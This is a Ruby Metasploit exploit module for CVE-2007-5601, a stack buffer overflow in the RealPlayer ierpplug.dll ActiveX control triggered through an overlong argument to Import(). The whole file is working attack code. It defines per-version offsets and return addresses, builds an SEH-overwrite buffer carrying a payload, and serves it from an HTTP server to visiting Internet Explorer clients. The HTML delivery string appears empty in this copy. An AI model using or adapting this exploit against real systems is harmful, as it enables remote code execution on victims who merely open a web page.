## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()" method, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2007-5601' ], [ 'OSVDB', '41430' ], [ 'BID', '26130' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419) [ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934) ], 'DisclosureDate' => 'Oct 18 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer filler = rand_text_english(target['Offset']) seh = generate_seh_payload(target.ret) sploit = filler + seh + rand_text_english(30724 - payload.encoded.length) # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")] # long Import( # [in] BSTR file, # [in, optional, defaultvalue("")] BSTR playlist, # [in, optional, defaultvalue("")] BSTR clipInfo, # [in, optional, defaultvalue(0)] long bPlayFile, # [in, optional, defaultvalue(0)] long bCopyToMyMusic); # Build out the message content = %Q| | print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end